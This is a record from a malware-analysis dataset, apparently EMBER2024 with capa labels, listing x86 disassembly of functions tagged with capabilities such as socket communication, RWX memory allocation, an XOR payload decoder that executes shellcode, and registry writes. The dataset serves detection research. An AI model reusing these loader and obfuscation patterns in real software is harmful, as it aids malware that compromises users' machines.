joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10017240
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push eax
push 0
call dword [ebp - 0x538]
call fcn.10016394
push edi
sti
sbb al, bh
and byte [ebp - 0x230], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
sar ebp, 1
invalid
push ebx
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x12c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.10016372
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
invalid
invalid
xchg esi, eax
cld
invalid
Function at 0x100188c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x1003b470]
xor eax, ebp
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], str.getaddrinfo
mov dword [ebp - 0x18], 0x10018b60
mov dword [ebp - 0x14], str.getnameinfo
mov dword [ebp - 0x10], 0x100193c0
mov dword [ebp - 0xc], str.freeaddrinfo
mov dword [ebp - 8], fcn.10018af0
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 0
cmp dword [0x1003cb00], 0
je 0x1001892b
movzx eax, word [ebp + 8]
mov eax, dword [eax*8 + 0x1003b394]
jmp 0x10018adb
push 0x104
lea ecx, [ebp - 0x240]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x10018946
jmp 0x10018a3b
lea edx, [ebp - 0x240]
push edx
push 0x10c
lea eax, [ebp - 0x138]
push eax
call fcn.1002222c
add esp, 0xc
push str.ws2_32
push 0x10c
lea ecx, [ebp - 0x138]
push ecx
call fcn.100221bb
add esp, 0xc
lea edx, [ebp - 0x138]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x100189b9
push str.getaddrinfo
mov eax, dword [ebp - 0x20]
push eax
call dword [0x1003c790]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x100189b9
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0x20], 0
cmp dword [ebp - 0x20], 0
je 0x100189c1
jmp 0x10018a3b
lea edx, [ebp - 0x240]
push edx
push 0x10c
lea eax, [ebp - 0x138]
push eax
call fcn.1002222c
add esp, 0xc
push str.wship6
push 0x10c
lea ecx, [ebp - 0x138]
push ecx
call fcn.100221bb
add esp, 0xc
lea edx, [ebp - 0x138]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x10018a34
push str.getaddrinfo
mov eax, dword [ebp - 0x20]
push eax
call dword [0x1003c790]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x10018a34
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0x20], 0
jmp 0x10018a3b
cmp dword [ebp - 0x20], 0
je 0x10018ac6
mov dword [ebp - 4], 0
jmp 0x10018a57
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 3
jge 0x10018a95
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + eax*8 - 0x1c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [0x1003c790]
mov ecx, dword [ebp - 4]
mov dword [ebp + ecx*8 - 0x18], eax
mov edx, dword [ebp - 4]
cmp dword [ebp + edx*8 - 0x18], 0
jne 0x10018a93
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0x20], 0
jmp 0x10018a95
jmp 0x10018a4e
cmp dword [ebp - 0x20], 0
je 0x10018ac6
mov dword [ebp - 4], 0
jmp 0x10018aad
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 3
jge 0x10018ac6
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + eax*8 - 0x18]
mov dword [edx*8 + 0x1003b394], ecx
jmp 0x10018aa4
mov dword [0x1003cb00], 1
movzx edx, word [ebp + 8]
mov eax, dword [edx*8 + 0x1003b394]
mov ecx, dword [ebp - 0x28]
xor ecx, ebp
call fcn.1001ed57
mov esp, ebp
pop ebp
ret 4
Function at 0x10019210
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov ecx, dword [ebp - 0xc]
mov dword [ecx], 0
mov edx, dword [ebp + 0x18]
mov byte [edx], 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100192d8
mov ecx, dword [ebp - 8]
movsx edx, word [ecx + 8]
cmp edx, 2
jne 0x100192b8
mov eax, dword [ebp - 8]
movsx ecx, word [eax + 0xa]
cmp ecx, 4
jne 0x100192b8
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
mov dword [ebp - 4], eax
jmp 0x10019275
mov ecx, dword [ebp - 4]
add ecx, 4
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp dword [edx], 0
je 0x100192b8
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
mov ax, word [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.10018fc0
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
mov edx, dword [ebp - 0xc]
cmp dword [edx], 0
jne 0x100192ab
mov eax, 8
jmp 0x1001931e
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
add ecx, 0x1c
mov dword [ebp - 0xc], ecx
jmp 0x1001926c
push 0x400
mov edx, dword [ebp - 8]
mov eax, dword [edx]
push eax
push 0x401
mov ecx, dword [ebp + 0x18]
push ecx
call fcn.10022598
add esp, 0x10
xor eax, eax
jmp 0x1001931e
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
sub edx, 0x2af9
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 3
ja case.default.0x100192f6
mov eax, dword [ebp - 0x10]
jmp dword [eax*4 + 0x10019324]
mov eax, 0x2af9
jmp 0x1001931e
mov eax, 0x2afa
jmp 0x1001931e
mov eax, 0x2afb
jmp 0x1001931e
mov eax, 0x2af9
jmp 0x1001931e
mov eax, 0x2af9
mov esp, ebp
pop ebp
ret 0x18
Function at 0x10019d20
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
movzx ecx, byte [eax + 0x44]
test ecx, ecx
je 0x10019d3b
mov al, 1
jmp 0x10019df6
mov byte [ebp - 1], 1
mov edx, dword [ebp - 0x38]
cmp dword [edx + 0x40], 0xffffffff
jne 0x10019d4f
xor al, al
jmp 0x10019df6
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x38]
mov eax, dword [edx + 0x40]
push eax
call dword [sym.imp.WS2_32.dll_WSAConnect]
test eax, eax
je 0x10019dea
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x2733
je 0x10019d91
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 8]
mov dword [ecx + 0x48], edx
mov byte [ebp - 1], 0
jmp 0x10019dea
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0x4c]
push ecx
mov edx, dword [ebp - 0x38]
mov eax, dword [edx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10019de6
push 0x2c
push 0
lea ecx, [ebp - 0x34]
push ecx
call fcn.1001e660
add esp, 0xc
lea edx, [ebp - 0x34]
push edx
push 0
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0x40]
push ecx
call dword [sym.imp.WS2_32.dll_WSAEnumNetworkEvents]
cmp dword [ebp - 0x20], 0
je 0x10019de4
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
mov dword [edx + 0x48], eax
mov byte [ebp - 1], 0
jmp 0x10019dea
mov byte [ebp - 1], 0
mov ecx, dword [ebp - 0x38]
mov dl, byte [ebp - 1]
mov byte [ecx + 0x44], dl
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret 8
Function at 0x1001ab40
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x4c]
push ecx
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1001ab72
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0x48], 0x2749
xor al, al
jmp 0x1001ac9a
push 0
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x80
jne 0x1001ab99
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0x48], 0x2734
xor al, al
jmp 0x1001ac9a
mov byte [ebp - 9], 1
mov edx, dword [ebp + 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 0xc]
mov dword [edx], 0
mov dword [ebp - 0x10], 0
push 0x14
push 0
lea eax, [ebp - 0x24]
push eax
call fcn.1001e660
add esp, 0xc
mov ecx, dword [ebp - 0x2c]
add ecx, 0x10
call fcn.1000eb30
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx + 4]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.WS2_32.dll_WSAResetEvent]
push 0
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
push 1
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx + 0x40]
push eax
call dword [sym.imp.WS2_32.dll_WSARecv]
test eax, eax
je 0x1001ac2d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x3e5
je 0x1001ac2d
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
mov dword [ecx + 0x48], edx
mov byte [ebp - 9], 0
movzx eax, byte [ebp - 9]
test eax, eax
je 0x1001ac8c
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx + 0x4c]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1001ac88
mov dword [ebp - 0x10], 0
lea ecx, [ebp - 0x10]
push ecx
push 0
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx + 0x40]
push edx
call dword [sym.imp.WS2_32.dll_WSAGetOverlappedResult]
test eax, eax
je 0x1001ac76
mov byte [ebp - 9], 1
jmp 0x1001ac86
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0x48], eax
mov byte [ebp - 9], 0
jmp 0x1001ac8c
mov byte [ebp - 9], 0
mov ecx, dword [ebp - 0x2c]
add ecx, 0x10
call fcn.1000ec70
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret 8
Function at 0x1001e01b
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x52c
mov eax, dword [0x1003b470]
mov dword [ebp - 4], eax
mov eax, dword [0x1003d848]
push ebx
xor ebx, ebx
cmp eax, ebx
je 0x1001e04a
call eax
cmp eax, ebx
mov dword [ebp - 0x528], eax
jne 0x1001e1d7
push dword [0x1003b3a8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
mov dword [ebp - 0x528], eax
je 0x1001e1d7
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x1001e082
mov byte [ebp - 0x41c], bl
push esi
lea eax, [ebp - 0x524]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jne 0x1001e09a
mov byte [ebp - 0x524], bl
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 0x528]
call edi
test eax, eax
jne 0x1001e0bb
mov byte [ebp - 0x10c], bl
push esi
lea eax, [ebp - 0x214]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call edi
test eax, eax
pop edi
jne 0x1001e0d8
mov byte [ebp - 0x214], bl
lea eax, [ebp - 0x314]
push eax
lea eax, [ebp - 0x52c]
push eax
lea eax, [ebp - 0x214]
push eax
call fcn.1001df7e
lea eax, [ebp - 0x52c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1001e0fb
sub eax, edx
mov ecx, eax
lea eax, [ebp - 0x314]
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x1001e10f
sub eax, esi
add eax, ecx
mov byte [ebp + eax - 0x213], bl
lea eax, [ebp - 0x314]
push eax
lea eax, [ebp - 0x52c]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.1001df7e
lea eax, [ebp - 0x52c]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x1001e144
sub eax, ecx
lea ecx, [ebp - 0x314]
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x1001e156
sub ecx, esi
add ecx, eax
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x524]
push eax
mov byte [ebp + ecx - 0x10b], bl
call fcn.1001deaf
test eax, eax
pop esi
jne 0x1001e197
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x524]
push eax
call fcn.1001deaf
test eax, eax
jne 0x1001e1c5
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x41c]
push eax
call fcn.1001deaf
test eax, eax
jne 0x1001e1d7
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x41c]
push eax
call fcn.1001deaf
test eax, eax
je 0x1001e1d7
push dword [ebp - 0x528]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0x528], ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x528]
pop ebx
call fcn.1001ed57
leave
ret

Function at 0x1001ed57
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1003b470]
jne 0x1001ed61
repz ret
jmp fcn.10025389
Function at 0x10025184
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x1003b758]
je 0x1002519f
inc edi
cmp edi, 0x17
jb 0x10025190
cmp edi, 0x17
jae 0x1002531f
push ebp
push 3
call fcn.1002c7b2
cmp eax, 1
pop ecx
je 0x100252eb
push 3
call fcn.1002c7b2
test eax, eax
pop ecx
jne 0x100251d3
cmp dword [0x1003cccc], 1
je 0x100252eb
cmp ebx, 0xfc
je 0x1002531e
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x1003ce80
push ebp
call fcn.1002222c
add esp, 0xc
test eax, eax
je 0x10025209
push esi
push esi
push esi
push esi
push esi
call fcn.10020f3d
add esp, 0x14
push 0x104
mov esi, 0x1003ce99
push esi
push 0
mov byte [0x1003cf9d], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1002524d
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.1002222c
add esp, 0xc
test eax, eax
je 0x1002524d
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.10020f3d
add esp, 0x14
push esi
call fcn.1001e730
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x10025292
push esi
call fcn.1001e730
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x1003d194
push 0x10033c34
sub ecx, eax
push ecx
push eax
call fcn.10022598
add esp, 0x14
test eax, eax
je 0x10025292
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.10020f3d
add esp, 0x14
jmp 0x10025294
xor esi, esi
push 0x10033c30
push ebx
push ebp
call fcn.100221bb
add esp, 0xc
test eax, eax
je 0x100252b4
push esi
push esi
push esi
push esi
push esi
call fcn.10020f3d
add esp, 0x14
push dword [edi*8 + 0x1003b75c]
push ebx
push ebp
call fcn.100221bb
add esp, 0xc
test eax, eax
je 0x100252d6
push esi
push esi
push esi
push esi
push esi
call fcn.10020f3d
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.1002c5f5
add esp, 0xc
jmp 0x1002531e
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x1002531e
cmp ebp, 0xffffffff
je 0x1002531e
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x1003b75c]
push dword [esi]
call fcn.1001e730
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x10030a25
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x1003b470]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.10030964
mov eax, 0x10000000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.1001e660
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x10030a74
cmp dword [ebp - 0x1c], 5
jb 0x10030a8c
jmp 0x10030a88
cmp dword [ebp - 0x10], 1
jne 0x10030a8c
cmp dword [ebp - 0x1c], 4
ja 0x10030a88
jne 0x10030a8c
cmp dword [ebp - 0x18], 0
jbe 0x10030a8c
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x10034f7c
call fcn.10012340
test eax, eax
jge 0x10030aad
mov byte [0x1003c800], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.1001ed57
add ebp, 0x78
leave
ret

Function at 0x10030c5f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x1003d7f0], 0
push esi
jne 0x10030bd2
call fcn.10030afd
test eax, eax
je 0x10030c15
mov eax, dword [0x1003d7f0]
cmp eax, 1
jne 0x10030bf3
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x10030c15
pop esi
ret
push eax
call dword [0x1003d7f8]
test eax, eax
jne 0x10030c5d
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x10030c19
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x1003d7f0]
call dword [0x1003d7f8]
mov edi, eax
test edi, edi
je 0x10030c40
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x10030c5c
lea edi, [esi + 0xff0]
push esi
push dword [0x1003d7f0]
call dword [0x1003d7f4]
add esi, 0x10
cmp esi, edi
jb 0x10030c46
mov eax, esi
pop edi
pop esi
ret
jmp 0x10030bbf
Function at 0x1000b197
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, ecx
test si, si
jne 0x1000b24c
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x1000b24c
mov edx, dword [esi + 0x3c]
test dl, 3
jne 0x1000b24c
cmp dword [edx + esi], 0x4550
jne 0x1000b24c
cmp dword [edx + esi + 0x74], 6
jb 0x1000b24c
push ebx
mov ebx, dword [edx + esi + 0x50]
push edi
mov edi, dword [edx + esi + 0xa8]
lea eax, [ebx - 1]
lea ecx, [edi - 1]
cmp ecx, eax
jae 0x1000b24a
mov eax, dword [edx + esi + 0xac]
mov ecx, ebx
sub ecx, edi
cmp eax, ecx
ja 0x1000b24a
xor edx, edx
add edi, esi
push 0x1c
pop ecx
div ecx
mov edx, eax
test edx, edx
je 0x1000b24a
imul ecx, edx, 0x1c
add ecx, 0x14
add ecx, edi
lea ecx, [ecx - 0x1c]
dec edx
cmp dword [ecx - 8], 2
lea edi, [ecx - 0x14]
jne 0x1000b228
cmp dword [ecx], ebx
jae 0x1000b228
mov eax, ebx
sub eax, dword [ecx]
cmp dword [ecx - 4], eax
jbe 0x1000b22e
test edx, edx
jne 0x1000b20e
jmp 0x1000b24a
push 0x1c
push edi
call dword [sym.imp.kernel32.dll_VirtualLock]
test eax, eax
je 0x1000b24a
mov eax, dword [edi + 0x14]
push dword [edi + 0x10]
add eax, esi
push eax
call dword [sym.imp.kernel32.dll_VirtualLock]
pop edi
pop ebx
pop esi
ret

Function at 0x1000c446
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1000c455
pop dword [ebp - 0x14]
mov eax, 0x703a07e0
sub eax, 0x6039438b
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x382fd
push 0
mov eax, 0xff10c3de
sub eax, 0xef0f837a
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x44d8
xor ebx, ebx
add ebx, eax
mov esi, 0x643ed1a7
sub esi, 0x543d4ba7
add esi, dword [ebp - 0x14]
mov edi, 0xf4055515
add dword [ebp - 0xc], ecx
mov edx, dword [esi]
xor dword [ebp - 0x10], 0xb6eb1e8d
xor edx, edi
xor dword [ebp - 4], 0xec3833be
mov dword [ebx], edx
add dword [ebp - 0x10], ecx
add ebx, 4
add esi, 0xe1105153
add esi, 0x1eefaeb1
loop 0x1000c4aa
add eax, 0x7bbbc3f8
sub eax, 0x7bbabdc5
xor ebx, ebx
add ebx, eax
add eax, 0x7e43f341
add eax, 0x81bc0cc4
mov ecx, 0xda345e0e
add ecx, 0x35cba1f2
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x1000f650
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
test ebx, ebx
je 0x1000f6b0
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
call dword [sym.imp.user32.dll_PostMessageW]
sub esp, 0x10
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], sym._UXTHEME_broadcast_msg_enumchild_8
call dword [sym.imp.user32.dll_EnumChildWindows]
mov eax, 1
sub esp, 0xc
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret 8
mov dword [esp + 4], esi
mov dword [esp], sym._UXTHEME_broadcast_msg_8
call dword [sym.imp.user32.dll_EnumWindows]
mov eax, 1
sub esp, 8
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret 8
Function at 0x1000fae0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, eax
lea eax, [ebp - 0xa8]
push ebx
sub esp, 0xc4
mov dword [ebp - 0xac], edx
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.Control_PanelColors
mov dword [esp], 0x80000001
call dword [sym.imp.advapi32.dll_RegCreateKeyExW]
sub esp, 0x24
test eax, eax
jne 0x1000fbe8
mov edi, eax
lea ebx, [ebp - 0xa2]
lea esi, [esi]
lea esi, [esi]
mov eax, dword [esi + edi*4]
mov dword [esp + 8], str._d__d__d
mov dword [esp + 4], 0xd
mov edx, eax
mov dword [esp], ebx
shr edx, 0x10
movzx edx, dl
mov dword [esp + 0x14], edx
movzx edx, ah
movzx eax, al
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
call sym._swprintf.constprop.0
mov dword [esp + 0x10], ebx
lea eax, [eax + eax + 2]
mov dword [esp + 0xc], 1
mov dword [esp + 0x14], eax
mov eax, dword [edi*4 + 0x1002b360]
add edi, 1
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xa8]
mov dword [esp], eax
call dword [sym.imp.advapi32.dll_RegSetValueExW]
sub esp, 0x18
cmp edi, 0x1f
jne 0x1000fb60
mov eax, dword [ebp - 0xa8]
mov dword [esp], eax
call dword [sym.imp.advapi32.dll_RegCloseKey]
sub esp, 4
mov eax, dword [ebp - 0xac]
test eax, eax
je 0x1000fc39
mov dword [ebp - 0x88], 0
lea ecx, [ebp - 0x88]
mov eax, 1
lea esi, [esi]
nop
mov dword [ecx + eax*4], eax
lea edx, [eax + 1]
add eax, 2
mov dword [ecx + edx*4], edx
cmp eax, 0x1f
jne 0x1000fc10
mov dword [esp + 8], esi
mov dword [esp + 4], ecx
mov dword [esp], 0x1f
call dword [sym.imp.user32.dll_SetSysColors]
sub esp, 0xc
mov edx, dword [sym.imp.user32.dll_SetThreadDpiAwarenessContext]
mov dword [esp], 0xffffffff
mov dword [ebp - 0xac], edx
call edx
mov ebx, dword [sym.imp.user32.dll_SystemParametersInfoW]
sub esp, 4
mov edi, eax
lea eax, [esi + 0x7c]
mov dword [esp + 0xc], 1
mov dword [esp + 8], eax
mov dword [esp + 4], 0x1f8
mov dword [esp], 0x2a
call ebx
lea eax, [esi + 0x274]
sub esp, 0x10
mov dword [esp + 0xc], 1
mov dword [esp + 8], eax
mov dword [esp + 4], 0x5c
mov dword [esp], 0x22
call ebx
sub esp, 0x10
mov dword [esp + 0xc], 1
mov eax, dword [esi + 0x2d0]
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp], 0x1009
call ebx
sub esp, 0x10
mov dword [esp + 0xc], 3
mov eax, dword [esi + 0x2d4]
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp], 0x1023
call ebx
sub esp, 0x10
mov dword [esp], edi
mov edx, dword [ebp - 0xac]
call edx
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret